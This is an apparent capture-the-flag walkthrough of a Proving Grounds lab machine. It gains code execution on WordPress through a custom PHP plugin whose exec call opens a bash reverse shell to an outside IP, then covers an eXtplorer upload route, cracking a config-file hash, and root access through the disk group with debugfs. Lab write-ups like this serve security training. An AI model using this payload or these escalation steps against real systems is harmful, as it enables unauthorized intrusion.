Enumeration

Nmap

Initial Nmap scan revealed SSH and HTTP ports were open.

00 - nmap

WEB Enumeration

When visited port 80, I found that there was a wordpress installation running.

01 - web

So I created a MySQL database using below docker command:

sudo docker run --name db-mysql -e MYSQL_ROOT_PASSWORD=rootpass -e MYSQL_DATABASE=wordpress -e MYSQL_USER=dbuser -e MYSQL_PASSWORD=dbpassword -p 3306:3306 -d mysql:latest

02 - 0 docker db

Then set the site’s db to my db.

02 - db

And then ran the installation.

03 - install

Set the username to admin and password to admin.

04 - wp install

Waited for site to install.

05 - wp

Then I simply logged in to admin dashboard.

06 - wp login

07 - logged in

Exploitation

(1st way) Custom Plugin RCE

I created a custom plugin as seen below:

<?php

/**
* Plugin Name: Wordpress Reverse Shell
* Author: mto

*/

exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.45.249/8080 0>&1'")
?>

08 - revshell

And zipped it.

09 - zip

Then uploaded it to wordpress.

10 - add plugin

And when I activated the plugin I got a reverse shell.

11 - activate plugin

12 - revshell

(2nd Way) Extplorer File Upload to RCE

Instead of setting up wordpress site, we could run fuzzing tools to detect filemanager endpoint which was running eXtplorer site.

0

We could the simply upload a reverse shell to web root.

1 upload

2 uploaded

Then get a reverse shell.

3

Lateral Movement

Extplorer Configs

While searching website folders I found filemanager folder which was running Extplorer website. So I checked config files and found filemanager/config/.htusers.php file. It included dora’s hash.

13 - dora

Blowfish Crack

I used rockyou.txt to crack it and it worked.

14 - crackedf

I got the user flag.

15 - user flag

Privilege Escalation

Disk Group

The dora user was in disk group.

16 - disk group

This group is dangerous as we can use debugfs to access all filesystem without needing any permissions. At first I ran df -h to find which mount is mounted to the / (root) filesystem.

17 - df h

Then I used debugfs to access the root directory and read root flag.

18 - flag


<
Previous Post
Levram - Proving Grounds Practice
>
Next Post
Hub - Proving Grounds Practice